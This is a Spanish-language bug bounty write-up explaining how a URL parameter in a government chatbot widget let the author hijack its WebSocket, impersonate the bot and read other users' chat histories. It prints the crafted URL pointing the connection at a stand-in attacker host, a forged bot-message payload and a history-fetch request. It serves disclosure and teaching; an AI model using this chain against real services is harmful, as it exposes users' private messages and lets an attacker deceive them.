user@l1ghtn1ng:~$ cat blog/chatbot-gubernamental-websocket.md

Cómo intercepté y suplanté un chatbot gubernamental controlando un solo parámetro
- #BugBounty
- #write-up
- #ChatBot
Así es cómo un parámetro sin validar en la URL de un chatbot gubernamental terminó en un MITM completo sobre su WebSocket: intercepté mensajes, suplanté al bot y robé historiales ajenos sin sesión.
La barra de direcciones es probablemente lo único que la mayoría de la gente mira antes de confiar en un sitio. Si el dominio es el correcto, asumimos que todo lo que pasa adentro también lo es. Este post es sobre un caso donde esa suposición se rompe por completo, aunque el dominio en la barra siga siendo, en todo momento, el legítimo.
No voy a nombrar al programa por sus políticas de divulgación. Pero sí te voy a contar todo el razonamiento y el camino técnico, porque ahí está lo que vale la pena llevarse.
Contexto
El objetivo era un widget de chat gubernamental, de esos que se embeben en la web de un organismo público para que cualquier persona pueda hacer consultas. La superficie era chica: un iframe, una conexión WebSocket, y una identidad persistente (uid) para que el historial de la conversación se mantuviera entre visitas.
Antes de tocar nada, abrí el DevTools, fui a Network → WS y miré cómo se armaba esa conexión desde cero.
Análisis del JavaScript
Como suele pasar cuando una superficie parece demasiado simple, el siguiente paso fue revisar el JavaScript del widget. Quería entender de dónde salía ese parámetro y cómo terminaba construyéndose la conexión WebSocket.
Para esta parte usé Claude Code como apoyo para analizar el código, ya que ahorra muchísimo tiempo y de verdad da muy buenos resultados.
Gracias a ese análisis encontré que el propio cliente usaba el parámetro chat-endpoint para construir la URL del WebSocket.
Y, entre otras preguntas, la principal que me hice fue:
Si este valor define a dónde se conecta el WebSocket... ¿hasta qué punto puedo decidirlo yo?
Este tipo de parámetros suele existir para uso interno (distintos ambientes, distintos backends), y casi nunca se espera que alguien de afuera lo toque. Pero que algo no esté pensado para cierto uso no significa que esté protegido contra ese uso.
El truco que lo hace posible
Ya sabía que el cliente utilizaba ese parámetro sin descartarlo. Ahora faltaba responder la pregunta importante: ¿existía alguna forma de modificar el destino de la conexión sin romper la URL?
Probando distintos valores para observar cómo el navegador construía la URL final del WebSocket, encontré el detalle que hacía todo esto explotable: si el valor comenzaba con @, el navegador interpretaba lo anterior como el userinfo de la URL (el clásico formato usuario@host), y tomaba como host real de la conexión todo lo que venía después del @.
Con un valor como:
https://widget.example/?chat-endpoint=@atacante.tld/chat/widget/
el navegador terminaba armando algo así:
wss://widget.example@atacante.tld/chat/widget/?uid=...
Para el parser de URL, el host real de esa conexión no era widget.example, sino atacante.tld.
Primeras pruebas: secuestrando la conexión
Con eso confirmado en teoría, armé el primer caso de prueba.
Nota: Para probar el ataque sin involucrar a nadie más, hice de víctima yo misma: abrí el widget como lo haría cualquier usuario real.
- Levanté un host propio (el WAF bloqueaba dominios típicos como Burp Collaborator e Interactsh).
- Abrí el widget con el parámetro apuntando a ese host:
?chat-endpoint=@mi-host/chat/widget/. - Abrí el chat y observé la pestaña WS.
La conexión se estableció directo contra mi servidor de atacante. Y en la query de esa conexión venía algo que no esperaba encontrar tan fácil: el uid persistente de la víctima, viajando en texto plano.
O sea, con solo lograr que alguien abriera un link seguía viendo el dominio legítimo en la barra de direcciones, mientras yo ya tenía control de a dónde se conectaba su chat y su identificador persistente.
Explotación
Confirmada la conexión al servidor controlado, faltaba simular un atacante real: no solo recibir la conexión, sino comportarme como si fuera el backend legítimo.
El navegador exige TLS válido para wss://, por lo que hice:
- Un servidor en Python (con
websockets) que escuchaba conexiones entrantes, loggeaba todo lo recibido y podía responder con mensajes arbitrarios imitando el formato del bot real. - Cloudflared para exponer ese servidor por HTTPS/WSS con certificado válido (el WAF sí dejaba pasar dominios de túneles conocidos tipo
trycloudflare.com).
Repetí el mismo link, esta vez apuntando al túnel, abrí el chat, escribí un mensaje de prueba... y lo vi aparecer en la consola de mi script.
¡¡Intercepción confirmada!!

Entonces, si podía leer lo que escribía la víctima, ¿podía también hacerle creer que le respondía el bot real?
Configuré el script para que, al recibir un mensaje, contestara con un payload en el mismo formato que usaba el bot legítimo:
{
"type": "markdown",
"authorType": "bot",
"messageId": "uuid-cualquiera",
"mode": "chatbot",
"data": {
"markdown": "mensaje de respuesta controlado por mí",
"__metadata": { "member_id": null }
}
}
Ese mensaje se renderizó en el widget exactamente como si viniera del bot oficial. Mismo diseño, mismo lugar en la conversación, y mismo dominio legítimo en la barra de direcciones.

Y sí... había más
Si lo anterior no te bastó, prestá atención que viene la mejor parte.
Con el uid de la víctima ya filtrado, quedaba una pregunta más: ¿ese identificador servía para algo más que abrir una conexión nueva?
Abrí un WebSocket limpio, sin cookies ni sesión previa, directo contra el endpoint legítimo, pero incluyendo el uid filtrado:
wss://widget.example/chat/widget/?uid=<UID-DE-LA-VICTIMA>
Y envié:
{ "type": "get_history", "data": {} }
La respuesta fue el historial completo de esa conversación, con todos los mensajes previos de la víctima y del bot. El único requisito para leer una conversación ajena era conocer el uid, y ese uid se había filtrado solo, en el primer paso.
El verdadero impacto
Juntando las tres piezas, esto deja de ser "un parámetro raro en la URL" y pasa a ser bastante más serio:
- Interceptación de datos sensibles: todo lo que un usuario escribiera en el chat (documentos, direcciones, datos de trámites) pasaba primero por un servidor atacante.
- Suplantación total del bot: las respuestas falsas eran indistinguibles de las oficiales, dentro del dominio legítimo del organismo.
- Robo de historial sin autenticación: con el
uidfiltrado, cualquiera podía reconstruir conversaciones enteras de terceros sin sesión activa. - Sin interacción por parte de la víctima: no hacía falta descargar nada ni ingresar credenciales en ningún lado sospechoso. Alcanzaba con un link que, a simple vista, apuntaba al dominio correcto.
Y ahí está lo que lo vuelve realmente peligroso: no existe ningún indicador visual que delate el ataque. El dominio es el legítimo, la interfaz es la legítima. Lo único que cambió fue un parámetro en la query string que casi nadie mira.
Qué me llevo de este hallazgo
Lo más interesante acá no fue la explotación en sí, sino la cadena completa: un parámetro de configuración expuesto al cliente + un comportamiento de cómo los navegadores parsean URLs + la ausencia de un allowlist para el destino del WebSocket.
Ninguna de esas tres cosas por separado es grave. Juntas, arman un MITM completo sobre un canal que la gente asume seguro solo por estar en el dominio correcto.
Si estás auditando algo con WebSockets, analizá el JS y prestale atención a cualquier parámetro que termine definiendo el endpoint de conexión (directa o indirectamente). Y si en algún momento ves un @ metido en un valor controlado por el usuario dentro de una URL, pará un segundo a pensar qué está interpretando el navegador como host.
NOTA: el reporte fue clasificado con severidad P3 (Medium) y marcado como duplicado.